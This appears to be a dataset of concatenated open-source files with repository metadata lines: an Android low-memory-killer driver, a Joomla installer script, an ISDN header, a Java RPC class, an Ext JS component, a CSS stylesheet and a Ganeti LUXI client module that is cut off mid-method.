mutex_unlock(&scan_mutex); if ((min_score_adj == OOM_SCORE_ADJ_MAX + 1) && (nr_to_scan > 0)) trace_almk_shrink(0, ret, other_free, other_file, 0); return rem; } selected_oom_score_adj = min_score_adj; rcu_read_lock(); #ifdef CONFIG_ANDROID_LMK_ADJ_RBTREE for (tsk = pick_first_task(); tsk != pick_last_task() && tsk != NULL; tsk = pick_next_from_adj_tree(tsk)) { #else for_each_process(tsk) { #endif struct task_struct *p; short oom_score_adj; if (tsk->flags & PF_KTHREAD) continue; /* if task no longer has any memory ignore it */ if (test_task_flag(tsk, TIF_MM_RELEASED)) continue; if (time_before_eq(jiffies, lowmem_deathpending_timeout)) { if (test_task_flag(tsk, TIF_MEMDIE)) { rcu_read_unlock(); /* give the system time to free up the memory */ if (!same_thread_group(current, tsk)) msleep_interruptible(20); else set_tsk_thread_flag(current, TIF_MEMDIE); mutex_unlock(&scan_mutex); return 0; } } p = find_lock_task_mm(tsk); if (!p) continue; oom_score_adj = p->signal->oom_score_adj; if (oom_score_adj < min_score_adj) { task_unlock(p); #ifdef CONFIG_ANDROID_LMK_ADJ_RBTREE break; #else continue; #endif } if (fatal_signal_pending(p) || ((p->flags & PF_EXITING) && test_tsk_thread_flag(p, TIF_MEMDIE))) { lowmem_print(2, "skip slow dying process %d\n", p->pid); task_unlock(p); continue; } tasksize = get_mm_rss(p->mm); task_unlock(p); if (tasksize <= 0) continue; if (selected) { if (oom_score_adj < selected_oom_score_adj) #ifdef CONFIG_ANDROID_LMK_ADJ_RBTREE break; #else continue; #endif if (oom_score_adj == selected_oom_score_adj && tasksize <= selected_tasksize) continue; } pcred = __task_cred(p); uid = pcred->uid; #if 0 /* LP draning RAM, We need to trigger OOM on protected_apps for now */ if (avoid_to_kill(uid) || protected_apps(p->comm)) { if (tasksize * (long)(PAGE_SIZE / 1024) >= 80000) { selected = p; selected_tasksize = tasksize; selected_oom_score_adj = oom_score_adj; lowmem_print(2, "select '%s' (%d), adj %hd, size %ldkB, to kill\n", p->comm, p->pid, oom_score_adj, tasksize * (long)(PAGE_SIZE / 1024)); } else lowmem_print(2, "selected skipped %s' (%d), adj %hd, size %ldkB, not kill\n", p->comm, p->pid, oom_score_adj, tasksize * (long)(PAGE_SIZE / 1024)); } else #endif { selected = p; selected_tasksize = tasksize; selected_oom_score_adj = oom_score_adj; lowmem_print(3, "select %s' (%d), adj %hd, size %ldkB, to kill\n", p->comm, p->pid, oom_score_adj, tasksize * (long)(PAGE_SIZE / 1024)); } } if (selected) { int i, j; char zinfo[ZINFO_LENGTH]; char *p = zinfo; lowmem_print(1, "Killing '%s' (%d), adj %hd,\n" \ " to free %ldkB on behalf of '%s' (%d) because\n" \ " cache %ldkB is below limit %ldkB for oom_score_adj %hd\n" \ " Free memory is %ldkB above reserved.\n" \ " Free CMA is %ldkB\n" \ " Total reserve is %ldkB\n" \ " Total free pages is %ldkB\n" \ " Total file cache is %ldkB\n" \ " Slab Reclaimable is %ldkB\n" \ " Slab UnReclaimable is %ldkB\n" \ " Total Slab is %ldkB\n" \ " GFP mask is 0x%x\n", selected->comm, selected->pid, selected_oom_score_adj, selected_tasksize * (long)(PAGE_SIZE / 1024), current->comm, current->pid, other_file * (long)(PAGE_SIZE / 1024), minfree * (long)(PAGE_SIZE / 1024), min_score_adj, other_free * (long)(PAGE_SIZE / 1024), global_page_state(NR_FREE_CMA_PAGES) * (long)(PAGE_SIZE / 1024), totalreserve_pages * (long)(PAGE_SIZE / 1024), global_page_state(NR_FREE_PAGES) * (long)(PAGE_SIZE / 1024), global_page_state(NR_FILE_PAGES) * (long)(PAGE_SIZE / 1024), global_page_state(NR_SLAB_RECLAIMABLE) * (long)(PAGE_SIZE / 1024), global_page_state(NR_SLAB_UNRECLAIMABLE) * (long)(PAGE_SIZE / 1024), global_page_state(NR_SLAB_RECLAIMABLE) * (long)(PAGE_SIZE / 1024) + global_page_state(NR_SLAB_UNRECLAIMABLE) * (long)(PAGE_SIZE / 1024), sc->gfp_mask); if (lowmem_debug_level >= 2 && selected_oom_score_adj == 0) { show_mem(SHOW_MEM_FILTER_NODES); dump_tasks(NULL, NULL); } lowmem_deathpending_timeout = jiffies + HZ; for (i = 0; i < MAX_NUMNODES; i++) for (j = 0; j < MAX_NR_ZONES; j++) if (zall[i][j].free || zall[i][j].file) p += snprintf(p, ZINFO_DIGITS, "%d:%d:%lu:%lu ", i, j, zall[i][j].free, zall[i][j].file); trace_lmk_kill(selected->pid, selected->comm, selected_oom_score_adj, selected_tasksize, min_score_adj, sc->gfp_mask, zinfo); set_tsk_thread_flag(selected, TIF_MEMDIE); send_sig(SIGKILL, selected, 0); rem -= selected_tasksize; rcu_read_unlock(); /* give the system time to free up the memory */ msleep_interruptible(20); trace_almk_shrink(selected_tasksize, ret, other_free, other_file, selected_oom_score_adj); } else { trace_almk_shrink(1, ret, other_free, other_file, 0); rcu_read_unlock(); } lowmem_print(4, "lowmem_shrink %lu, %x, return %d\n", nr_to_scan, sc->gfp_mask, rem); mutex_unlock(&scan_mutex); return rem; } static struct shrinker lowmem_shrinker = { .shrink = lowmem_shrink, .seeks = DEFAULT_SEEKS * 16 }; static void low_mem_power_suspend(struct power_suspend *handler) { if (lowmem_auto_oom) { mutex_lock(&auto_oom_mutex); memcpy(lowmem_minfree_screen_on, lowmem_minfree, sizeof(lowmem_minfree)); memcpy(lowmem_minfree, lowmem_minfree_screen_off, sizeof(lowmem_minfree_screen_off)); mutex_unlock(&auto_oom_mutex); } } static void low_mem_late_resume(struct power_suspend *handler) { if (lowmem_auto_oom) { mutex_lock(&auto_oom_mutex); memcpy(lowmem_minfree, lowmem_minfree_screen_on, sizeof(lowmem_minfree_screen_on)); mutex_unlock(&auto_oom_mutex); } } static struct power_suspend low_mem_suspend = { .suspend = low_mem_power_suspend, .resume = low_mem_late_resume, }; #ifdef CONFIG_ANDROID_BG_SCAN_MEM static int lmk_task_migration_notify(struct notifier_block *nb, unsigned long data, void *arg) { struct shrink_control sc = { .gfp_mask = GFP_KERNEL, .nr_to_scan = 1, }; lowmem_shrink(&lowmem_shrinker, &sc); return NOTIFY_OK; } static struct notifier_block tsk_migration_nb = { .notifier_call = lmk_task_migration_notify, }; #endif static int __init lowmem_init(void) { register_shrinker(&lowmem_shrinker); vmpressure_notifier_register(&lmk_vmpr_nb); register_power_suspend(&low_mem_suspend); #ifdef CONFIG_ANDROID_BG_SCAN_MEM raw_notifier_chain_register(&bgtsk_migration_notifier_head, &tsk_migration_nb); #endif return 0; } static void __exit lowmem_exit(void) { unregister_shrinker(&lowmem_shrinker); #ifdef CONFIG_ANDROID_BG_SCAN_MEM raw_notifier_chain_unregister(&bgtsk_migration_notifier_head, &tsk_migration_nb); #endif } #ifdef CONFIG_ANDROID_LOW_MEMORY_KILLER_AUTODETECT_OOM_ADJ_VALUES static short lowmem_oom_adj_to_oom_score_adj(short oom_adj) { if (oom_adj == OOM_ADJUST_MAX) return OOM_SCORE_ADJ_MAX; else return (oom_adj * OOM_SCORE_ADJ_MAX) / -OOM_DISABLE; } static void lowmem_autodetect_oom_adj_values(void) { int i; short oom_adj; short oom_score_adj; int array_size = ARRAY_SIZE(lowmem_adj); if (lowmem_adj_size < array_size) array_size = lowmem_adj_size; if (array_size <= 0) return; oom_adj = lowmem_adj[array_size - 1]; if (oom_adj > OOM_ADJUST_MAX) return; oom_score_adj = lowmem_oom_adj_to_oom_score_adj(oom_adj); if (oom_score_adj <= OOM_ADJUST_MAX) return; lowmem_print(1, "lowmem_shrink: convert oom_adj to oom_score_adj:\n"); for (i = 0; i < array_size; i++) { oom_adj = lowmem_adj[i]; oom_score_adj = lowmem_oom_adj_to_oom_score_adj(oom_adj); lowmem_adj[i] = oom_score_adj; lowmem_print(1, "oom_adj %hd => oom_score_adj %hd\n", oom_adj, oom_score_adj); } } static int lowmem_adj_array_set(const char *val, const struct kernel_param *kp) { int ret; ret = param_array_ops.set(val, kp); /* HACK: Autodetect oom_adj values in lowmem_adj array */ lowmem_autodetect_oom_adj_values(); return ret; } static int lowmem_adj_array_get(char *buffer, const struct kernel_param *kp) { return param_array_ops.get(buffer, kp); } static void lowmem_adj_array_free(void *arg) { param_array_ops.free(arg); } static struct kernel_param_ops lowmem_adj_array_ops = { .set = lowmem_adj_array_set, .get = lowmem_adj_array_get, .free = lowmem_adj_array_free, }; static const struct kparam_array __param_arr_adj = { .max = ARRAY_SIZE(lowmem_adj), .num = &lowmem_adj_size, .ops = &param_ops_short, .elemsize = sizeof(lowmem_adj[0]), .elem = lowmem_adj, }; #endif #ifdef CONFIG_ANDROID_LMK_ADJ_RBTREE DEFINE_SPINLOCK(lmk_lock); struct rb_root tasks_scoreadj = RB_ROOT; void add_2_adj_tree(struct task_struct *task) { struct rb_node **link; struct rb_node *parent = NULL; struct task_struct *task_entry; s64 key = task->signal->oom_score_adj; /* * Find the right place in the rbtree: */ spin_lock(&lmk_lock); link = &tasks_scoreadj.rb_node; while (*link) { parent = *link; task_entry = rb_entry(parent, struct task_struct, adj_node); if (key < task_entry->signal->oom_score_adj) link = &parent->rb_right; else link = &parent->rb_left; } rb_link_node(&task->adj_node, parent, link); rb_insert_color(&task->adj_node, &tasks_scoreadj); spin_unlock(&lmk_lock); } void delete_from_adj_tree(struct task_struct *task) { spin_lock(&lmk_lock); if (!RB_EMPTY_NODE(&task->adj_node)) { rb_erase(&task->adj_node, &tasks_scoreadj); RB_CLEAR_NODE(&task->adj_node); } spin_unlock(&lmk_lock); } static struct task_struct *pick_next_from_adj_tree(struct task_struct *task) { struct rb_node *next; spin_lock(&lmk_lock); next = rb_next(&task->adj_node); spin_unlock(&lmk_lock); if (!next) return NULL; return rb_entry(next, struct task_struct, adj_node); } static struct task_struct *pick_first_task(void) { struct rb_node *left; spin_lock(&lmk_lock); left = rb_first(&tasks_scoreadj); spin_unlock(&lmk_lock); if (!left) return NULL; return rb_entry(left, struct task_struct, adj_node); } static struct task_struct *pick_last_task(void) { struct rb_node *right; spin_lock(&lmk_lock); right = rb_last(&tasks_scoreadj); spin_unlock(&lmk_lock); if (!right) return NULL; return rb_entry(right, struct task_struct, adj_node); } #endif module_param_named(cost, lowmem_shrinker.seeks, int, S_IRUGO | S_IWUSR); #ifdef CONFIG_ANDROID_LOW_MEMORY_KILLER_AUTODETECT_OOM_ADJ_VALUES __module_param_call(MODULE_PARAM_PREFIX, adj, &lowmem_adj_array_ops, .arr = &__param_arr_adj, S_IRUGO | S_IWUSR, 0644); __MODULE_PARM_TYPE(adj, "array of short"); #else module_param_array_named(adj, lowmem_adj, short, &lowmem_adj_size, S_IRUGO | S_IWUSR); #endif module_param_array_named(minfree, lowmem_minfree, uint, &lowmem_minfree_size, S_IRUGO | S_IWUSR); module_param_array_named(minfree_screen_off, lowmem_minfree_screen_off, uint, &lowmem_minfree_size, S_IRUGO | S_IWUSR); module_param_named(debug_level, lowmem_debug_level, uint, S_IRUGO | S_IWUSR); module_param_named(auto_oom, lowmem_auto_oom, uint, S_IRUGO | S_IWUSR); module_param_named(lmk_fast_run, lmk_fast_run, int, S_IRUGO | S_IWUSR); module_init(lowmem_init); module_exit(lowmem_exit); MODULE_LICENSE("GPL");
dorimanx/Dorimanx-LG-G2-D802-Kernel
drivers/staging/android/lowmemorykiller.c
C
gpl-2.0
25,277
<?php /** * Script file * * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html */ // No direct access to this file defined('_JEXEC') or die; if (!class_exists('ScriptAry')) { include dirname(__FILE__) . '/scriptary.php'; } class plgsystemmvcoverrideInstallerScript extends ScriptAry { /** * method to run after an install/update/uninstall method * * @return void */ function postflight($type, $parent) { $manifest = $parent->getParent()->getManifest(); if ($type == 'install') { //Get the smallest order value $db = JFactory::getDbo(); // Create a new query object. $query = $db->getQuery(true); $query ->select($db->quoteName(array('extension_id','element','ordering'))) ->from($db->quoteName('#__extensions')) ->where($db->quoteName('type').'='.$db->Quote($manifest['type'])) ->where($db->quoteName('folder').'='.$db->Quote($manifest['group'])) ->order($db->quoteName('ordering').' ASC'); $db->setQuery($query,0,1); $row = $db->loadAssoc(); $ordering = $row['ordering']-1; $query = $db->getQuery(true); // Fields to update. $fields = array( $db->quoteName('ordering').'='.$db->Quote($ordering) ); // Conditions for which records should be updated. $conditions = array( $db->quoteName('type').'='.$db->Quote($manifest['type']), $db->quoteName('folder').'='.$db->Quote($manifest['group']), $db->quoteName('element').'='.$db->Quote('mvcoverride') ); $query->update($db->quoteName('#__extensions'))->set($fields)->where($conditions); $db->setQuery($query); try {// It's a DB usage construction to contain J2.5 and J3.0 approaches if ($result = $db->execute() ) { if ($db->getAffectedRows()>0) { $this->messages[] = JText::_('GJ_INSTALL_ORDERING_SET'); } else { throw new Exception(JText::_('GJ_INSTALL_ORDERING_SET_FAILED')); } } else { throw new Exception($db->getErrorMsg()); } } catch (Exception $e) { // Catch the error. JError::raiseWarning(100, $e->getMessage(), $db->stderr(true)); } } parent::postflight($type, $parent); } } ?>
giahuy10/mokarafashion
plugins/system/mvcoverride/scriptfile.php
PHP
gpl-2.0
2,136
/* $Id: ipac.h,v 1.1.1.1 2010/03/11 21:07:42 kris Exp $ * * IPAC specific defines * * Author Karsten Keil * Copyright by Karsten Keil <keil@isdn4linux.de> * * This software may be used and distributed according to the terms * of the GNU General Public License, incorporated herein by reference. * */ /* All Registers original Siemens Spec */ #define IPAC_CONF 0xC0 #define IPAC_MASK 0xC1 #define IPAC_ISTA 0xC1 #define IPAC_ID 0xC2 #define IPAC_ACFG 0xC3 #define IPAC_AOE 0xC4 #define IPAC_ARX 0xC5 #define IPAC_ATX 0xC5 #define IPAC_PITA1 0xC6 #define IPAC_PITA2 0xC7 #define IPAC_POTA1 0xC8 #define IPAC_POTA2 0xC9 #define IPAC_PCFG 0xCA #define IPAC_SCFG 0xCB #define IPAC_TIMR2 0xCC
fgoncalves/Modified-TS7500-Kernel
drivers/isdn/hisax/ipac.h
C
gpl-2.0
716
package proxy1; import java.io.*; public class Call implements Serializable{ private String className; //±íʾÀàÃû private String methodName; //±íʾ·½·¨Ãû private Class[] paramTypes; //±íʾ·½·¨²ÎÊýÀàÐÍ private Object[] params; //±íʾ·½·¨²ÎÊýÖµ private Object result; //±íʾ·½·¨µÄ·µ»ØÖµ»òÕß·½·¨Å׳öµÄÒì³£ public Call(){} public Call(String className,String methodName,Class[] paramTypes, Object[] params){ this.className=className; this.methodName=methodName; this.paramTypes=paramTypes; this.params=params; } public String getClassName(){return className;} public void setClassName(String className){this.className=className;} public String getMethodName(){return methodName;} public void setMethodName(String methodName){this.methodName=methodName;} public Class[] getParamTypes(){return paramTypes;} public void setParamTypes(Class[] paramTypes){this.paramTypes=paramTypes;} public Object[] getParams(){return params;} public void setParams(Object[] params){this.params=params;} public Object getResult(){return result;} public void setResult(Object result){this.result=result;} public String toString(){ return "className="+className+" methodName="+methodName; } } /**************************************************** * ×÷ÕߣºËïÎÀÇÙ * * À´Ô´£º<<JavaÍøÂç±à³Ì¾«½â>> * * ¼¼ÊõÖ§³ÖÍøÖ·£ºwww.javathinker.org * ***************************************************/
AutuanLiu/Code
MyJava/sourcecode/chapter10/src/proxy1/Call.java
Java
gpl-2.0
1,541
/* This file is part of Ext JS 4.2 Copyright (c) 2011-2014 Sencha Inc Contact: http://www.sencha.com/contact Commercial Usage Licensees holding valid commercial licenses may use this file in accordance with the Commercial Software License Agreement provided with the Software or, alternatively, in accordance with the terms contained in a written agreement between you and Sencha. If you are unsure which license is appropriate for your use, please contact the sales department at http://www.sencha.com/contact. Build date: 2014-09-02 11:12:40 (ef1fa70924f51a26dacbe29644ca3f31501a5fce) */ /** * @private */ Ext.define('Ext.chart.MaskLayer', { extend: 'Ext.Component', constructor: function(config) { config = Ext.apply(config || {}, { style: 'position:absolute;background-color:#ff9;cursor:crosshair;opacity:0.5;border:1px solid #00f;' }); this.callParent([config]); }, initComponent: function() { var me = this; me.callParent(arguments); me.addEvents( 'mousedown', 'mouseup', 'mousemove', 'mouseenter', 'mouseleave' ); }, initDraggable: function() { this.callParent(arguments); this.dd.onStart = function (e) { var me = this, comp = me.comp; // Cache the start [X, Y] array this.startPosition = comp.getPosition(true); // If client Component has a ghost method to show a lightweight version of itself // then use that as a drag proxy unless configured to liveDrag. if (comp.ghost && !comp.liveDrag) { me.proxy = comp.ghost(); me.dragTarget = me.proxy.header.el; } // Set the constrainTo Region before we start dragging. if (me.constrain || me.constrainDelegate) { me.constrainTo = me.calculateConstrainRegion(); } }; } });
cnitucson/cnde
extjs4/src/chart/MaskLayer.js
JavaScript
gpl-2.0
2,028
#right-log { width: 31%; } #left-log { margin: 0 0 0 1%; width: 68%; } @media screen and (max-width: 960px) { #right-log { width: 35%; } #left-log { margin: 0 0 0 1%; width: 63%; } } @media screen and (max-width: 758px) { #right-log { width: 100%; } #left-log { margin: 0 0 0 1%; width: 100%; } } @media screen and (max-width: 524px) { #right-log { width: 100%; } #left-log { margin: 0 0 0 1%; width: 100%; } } #last-log { width: 100%; } #right-log a, #left-log a, #last-log a { text-decoration: none; } #summary-stats { background: none repeat scroll 0 0 rgba(0, 0, 0, 0); border: 1px none; margin: 0 0 10px; } #summary-stats tr:first-child th { border-top: 0 none; } #summary-stats span { color: #21759B !important; font-family: Georgia,"Times New Roman","Bitstream Charter",Times,serif; font-size: 21px; } #th-colspan { text-align: center; } #th-colspan span { color: #459605 !important; font-size: 30px; } #last-visitor tr { text-align: center; } #last-visitor tr:first-child { background: none repeat scroll 0 0 #EEEEEE; font-weight: bold; text-align: center; } #last-search tr { text-align: center; } #last-search tr:first-child { background: none repeat scroll 0 0 #EEEEEE; font-weight: bold; text-align: center; } #last-referrer tr { text-align: left; } #last-referrer tr:first-child { background: none repeat scroll 0 0 #EEEEEE; font-weight: bold; text-align: center; } .th-center { text-align: center !important; } .td-align { text-align: left; } .td-url { color: #009936 !important; direction: ltr; font-size: 10px !important; text-align: left; white-space: nowrap; } .log-latest { } .log-item { border-bottom: 1px solid #D3CDCD; border-top: 1px solid #FFFFFF; height: 46px; padding: 3px 7px; } .log-item:hover { background: none repeat scroll 0 0 #EEEEEE; } .log-referred { float: left; overflow: hidden; white-space: nowrap; width: 79%; } .log-ip { direction: ltr; float: right; font-size: 10px; margin-bottom: 5px; white-space: pre; width: 20%; } .log-tools { float: left; margin: 0 2px; } .log-url { direction: ltr; float: left; font-size: 10px; overflow: hidden; white-space: nowrap; width: 90%; } .log-url img { } #time_zone a { font-size: 11px; text-decoration: none; } #visits-log { direction: ltr; height: 290px; width: 100%; } #search-engine-log { direction: ltr; } #browsers-log { direction: ltr; height: 330px; margin: 0 auto; width: 100%; } #platform-log { direction: ltr; } #visits-stats { direction: ltr; } #exclusion-stats{ direction: ltr; } #search-stats { direction: ltr; } #about-links { margin: 0 0 10px; } #about-links p { display: inline; font-size: 11px; margin: 0 2px; } #about-links a { } #donate-button { float: left; padding: 7px 0 0; text-align: center; width: 100%; } .left-div { float: left; } .right-div { float: right; }
WorkHands/workhands-blog
wp-content/plugins/wp-statistics/assets/css/log.css
CSS
gpl-2.0
3,339
# # # Copyright (C) 2006, 2007, 2011, 2012, 2014 Google Inc. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA # 02110-1301, USA. """Module for the unix socket protocol This module implements the local unix socket protocol. You only need this module and the opcodes module in the client program in order to communicate with the master. The module is also used by the master daemon. """ import socket import collections import time import errno import logging from ganeti import serializer from ganeti import constants from ganeti import errors from ganeti import utils from ganeti import objects from ganeti import pathutils KEY_METHOD = constants.LUXI_KEY_METHOD KEY_ARGS = constants.LUXI_KEY_ARGS KEY_SUCCESS = constants.LUXI_KEY_SUCCESS KEY_RESULT = constants.LUXI_KEY_RESULT KEY_VERSION = constants.LUXI_KEY_VERSION REQ_SUBMIT_JOB = constants.LUXI_REQ_SUBMIT_JOB REQ_SUBMIT_JOB_TO_DRAINED_QUEUE = constants.LUXI_REQ_SUBMIT_JOB_TO_DRAINED_QUEUE REQ_SUBMIT_MANY_JOBS = constants.LUXI_REQ_SUBMIT_MANY_JOBS REQ_WAIT_FOR_JOB_CHANGE = constants.LUXI_REQ_WAIT_FOR_JOB_CHANGE REQ_CANCEL_JOB = constants.LUXI_REQ_CANCEL_JOB REQ_ARCHIVE_JOB = constants.LUXI_REQ_ARCHIVE_JOB REQ_CHANGE_JOB_PRIORITY = constants.LUXI_REQ_CHANGE_JOB_PRIORITY REQ_AUTO_ARCHIVE_JOBS = constants.LUXI_REQ_AUTO_ARCHIVE_JOBS REQ_QUERY = constants.LUXI_REQ_QUERY REQ_QUERY_FIELDS = constants.LUXI_REQ_QUERY_FIELDS REQ_QUERY_JOBS = constants.LUXI_REQ_QUERY_JOBS REQ_QUERY_INSTANCES = constants.LUXI_REQ_QUERY_INSTANCES REQ_QUERY_NODES = constants.LUXI_REQ_QUERY_NODES REQ_QUERY_GROUPS = constants.LUXI_REQ_QUERY_GROUPS REQ_QUERY_NETWORKS = constants.LUXI_REQ_QUERY_NETWORKS REQ_QUERY_EXPORTS = constants.LUXI_REQ_QUERY_EXPORTS REQ_QUERY_CONFIG_VALUES = constants.LUXI_REQ_QUERY_CONFIG_VALUES REQ_QUERY_CLUSTER_INFO = constants.LUXI_REQ_QUERY_CLUSTER_INFO REQ_QUERY_TAGS = constants.LUXI_REQ_QUERY_TAGS REQ_SET_DRAIN_FLAG = constants.LUXI_REQ_SET_DRAIN_FLAG REQ_SET_WATCHER_PAUSE = constants.LUXI_REQ_SET_WATCHER_PAUSE REQ_ALL = constants.LUXI_REQ_ALL DEF_CTMO = constants.LUXI_DEF_CTMO DEF_RWTO = constants.LUXI_DEF_RWTO WFJC_TIMEOUT = constants.LUXI_WFJC_TIMEOUT class ProtocolError(errors.LuxiError): """Denotes an error in the LUXI protocol.""" class ConnectionClosedError(ProtocolError): """Connection closed error.""" class TimeoutError(ProtocolError): """Operation timeout error.""" class RequestError(ProtocolError): """Error on request. This signifies an error in the request format or request handling, but not (e.g.) an error in starting up an instance. Some common conditions that can trigger this exception: - job submission failed because the job data was wrong - query failed because required fields were missing """ class NoMasterError(ProtocolError): """The master cannot be reached. This means that the master daemon is not running or the socket has been removed. """ class PermissionError(ProtocolError): """Permission denied while connecting to the master socket. This means the user doesn't have the proper rights. """ class Transport: """Low-level transport class. This is used on the client side. This could be replace by any other class that provides the same semantics to the Client. This means: - can send messages and receive messages - safe for multithreading """ def __init__(self, address, timeouts=None): """Constructor for the Client class. Arguments: - address: a valid address the the used transport class - timeout: a list of timeouts, to be used on connect and read/write There are two timeouts used since we might want to wait for a long time for a response, but the connect timeout should be lower. If not passed, we use a default of 10 and respectively 60 seconds. Note that on reading data, since the timeout applies to an invidual receive, it might be that the total duration is longer than timeout value passed (we make a hard limit at twice the read timeout). """ self.address = address if timeouts is None: self._ctimeout, self._rwtimeout = DEF_CTMO, DEF_RWTO else: self._ctimeout, self._rwtimeout = timeouts self.socket = None self._buffer = "" self._msgs = collections.deque() try: self.socket = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) # Try to connect try: utils.Retry(self._Connect, 1.0, self._ctimeout, args=(self.socket, address, self._ctimeout)) except utils.RetryTimeout: raise TimeoutError("Connect timed out") self.socket.settimeout(self._rwtimeout) except (socket.error, NoMasterError): if self.socket is not None: self.socket.close() self.socket = None raise @staticmethod def _Connect(sock, address, timeout): sock.settimeout(timeout) try: sock.connect(address) except socket.timeout, err: raise TimeoutError("Connect timed out: %s" % str(err)) except socket.error, err: error_code = err.args[0] if error_code in (errno.ENOENT, errno.ECONNREFUSED): raise NoMasterError(address) elif error_code in (errno.EPERM, errno.EACCES): raise PermissionError(address) elif error_code == errno.EAGAIN: # Server's socket backlog is full at the moment raise utils.RetryAgain() raise def _CheckSocket(self): """Make sure we are connected. """ if self.socket is None: raise ProtocolError("Connection is closed") def Send(self, msg): """Send a message. This just sends a message and doesn't wait for the response. """ if constants.LUXI_EOM in msg: raise ProtocolError("Message terminator found in payload") self._CheckSocket() try: # TODO: sendall is not guaranteed to send everything self.socket.sendall(msg + constants.LUXI_EOM) except socket.timeout, err: raise TimeoutError("Sending timeout: %s" % str(err)) def Recv(self): """Try to receive a message from the socket. In case we already have messages queued, we just return from the queue. Otherwise, we try to read data with a _rwtimeout network timeout, and making sure we don't go over 2x_rwtimeout as a global limit. """ self._CheckSocket() etime = time.time() + self._rwtimeout while not self._msgs: if time.time() > etime: raise TimeoutError("Extended receive timeout") while True: try: data = self.socket.recv(4096) except socket.timeout, err: raise TimeoutError("Receive timeout: %s" % str(err)) except socket.error, err: if err.args and err.args[0] == errno.EAGAIN: continue raise break if not data: raise ConnectionClosedError("Connection closed while reading") new_msgs = (self._buffer + data).split(constants.LUXI_EOM) self._buffer = new_msgs.pop() self._msgs.extend(new_msgs) return self._msgs.popleft() def Call(self, msg): """Send a message and wait for the response. This is just a wrapper over Send and Recv. """ self.Send(msg) return self.Recv() def Close(self): """Close the socket""" if self.socket is not None: self.socket.close() self.socket = None def ParseRequest(msg): """Parses a LUXI request message. """ try: request = serializer.LoadJson(msg) except ValueError, err: raise ProtocolError("Invalid LUXI request (parsing error): %s" % err) logging.debug("LUXI request: %s", request) if not isinstance(request, dict): logging.error("LUXI request not a dict: %r", msg) raise ProtocolError("Invalid LUXI request (not a dict)") method = request.get(KEY_METHOD, None) # pylint: disable=E1103 args = request.get(KEY_ARGS, None) # pylint: disable=E1103 version = request.get(KEY_VERSION, None) # pylint: disable=E1103 if method is None or args is None: logging.error("LUXI request missing method or arguments: %r", msg) raise ProtocolError(("Invalid LUXI request (no method or arguments" " in request): %r") % msg) return (method, args, version) def ParseResponse(msg): """Parses a LUXI response message. """ # Parse the result try: data = serializer.LoadJson(msg) except KeyboardInterrupt: raise except Exception, err: raise ProtocolError("Error while deserializing response: %s" % str(err)) # Validate response if not (isinstance(data, dict) and KEY_SUCCESS in data and KEY_RESULT in data): raise ProtocolError("Invalid response from server: %r" % data) return (data[KEY_SUCCESS], data[KEY_RESULT], data.get(KEY_VERSION, None)) # pylint: disable=E1103 def FormatResponse(success, result, version=None): """Formats a LUXI response message. """ response = { KEY_SUCCESS: success, KEY_RESULT: result, } if version is not None: response[KEY_VERSION] = version logging.debug("LUXI response: %s", response) return serializer.DumpJson(response) def FormatRequest(method, args, version=None): """Formats a LUXI request message. """ # Build request request = { KEY_METHOD: method, KEY_ARGS: args, } if version is not None: request[KEY_VERSION] = version # Serialize the request return serializer.DumpJson(request) def CallLuxiMethod(transport_cb, method, args, version=None): """Send a LUXI request via a transport and return the response. """ assert callable(transport_cb) request_msg = FormatRequest(method, args, version=version) # Send request and wait for response response_msg = transport_cb(request_msg) (success, result, resp_version) = ParseResponse(response_msg) # Verify version if there was one in the response if resp_version is not None and resp_version != version: raise errors.LuxiError("LUXI version mismatch, client %s, response %s" % (version, resp_version)) if success: return result errors.MaybeRaise(result) raise RequestError(result) class Client(object): """High-level client implementation. This uses a backing Transport-like class on top of which it implements data serialization/deserialization. """ def __init__(self, address=None, timeouts=None, transport=Transport): """Constructor for the Client class. Arguments: - address: a valid address the the used transport class - timeout: a list of timeouts, to be used on connect and read/write - transport: a Transport-like class If timeout is not passed, the default timeouts of the transport class are used. """ if address is None: address = pathutils.MASTER_SOCKET self.address = address self.timeouts = timeouts self.transport_class = transport self.transport = None self._InitTransport() def _InitTransport(self): """(Re)initialize the transport if needed. """ if self.transport is None: self.transport = self.transport_class(self.address, timeouts=self.timeouts) def _CloseTransport(self): """Close the transport, ignoring errors. """ if self.transport is None: return try: old_transp = self.transport self.transport = None old_transp.Close() except Exception: # pylint: disable=W0703 pass def _SendMethodCall(self, data): # Send request and wait for response try: self._InitTransport() return self.transport.Call(data) except Exception: self._CloseTransport() raise def Close(self): """Close the underlying connection. """ self._CloseTransport() def CallMethod(self, method, args): """Send a generic request and return the response. """ if not isinstance(args, (list, tuple)): raise errors.ProgrammerError("Invalid parameter passed to CallMethod:" " expected list, got %s" % type(args)) return CallLuxiMethod(self._SendMethodCall, method, args, version=constants.LUXI_VERSION) def SetQueueDrainFlag(self, drain_flag): return self.CallMethod(REQ_SET_DRAIN_FLAG, (drain_flag, )) def SetWatcherPause(self, until): return self.CallMethod(REQ_SET_WATCHER_PAUSE, (until, )) def SubmitJob(self, ops): ops_state = map(lambda op: op.__getstate__(), ops) return self.CallMethod(REQ_SUBMIT_JOB, (ops_state, )) def SubmitJobToDrainedQueue(self, ops): ops_state = map(lambda op: op.__getstate__(), ops) return self.CallMethod(REQ_SUBMIT_JOB_TO_DRAINED_QUEUE, (ops_state, )) def SubmitManyJobs(self, jobs): jobs_state = [] for ops in jobs: jobs_state.append([op.__getstate__() for op in ops]) return self.CallMethod(REQ_SUBMIT_MANY_JOBS, (jobs_state, )) @staticmethod def _PrepareJobId(request_name, job_id): try: return int(job_id) except ValueError: raise RequestError("Invalid parameter passed to %s as job id: " " expected integer, got value %s" % (request_name, job_id)) def CancelJob(self, job_id): job_id = Client._PrepareJobId(REQ_CANCEL_JOB, job_id) return self.CallMethod(REQ_CANCEL_JOB, (job_id, )) def ArchiveJob(self, job_id): job_id = Client._PrepareJobId(REQ_ARCHIVE_JOB, job_id) return self.CallMethod(REQ_ARCHIVE_JOB, (job_id, )) def ChangeJobPriority(self, job_id, priority): job_id = Client._PrepareJobId(REQ_CHANGE_JOB_PRIORITY, 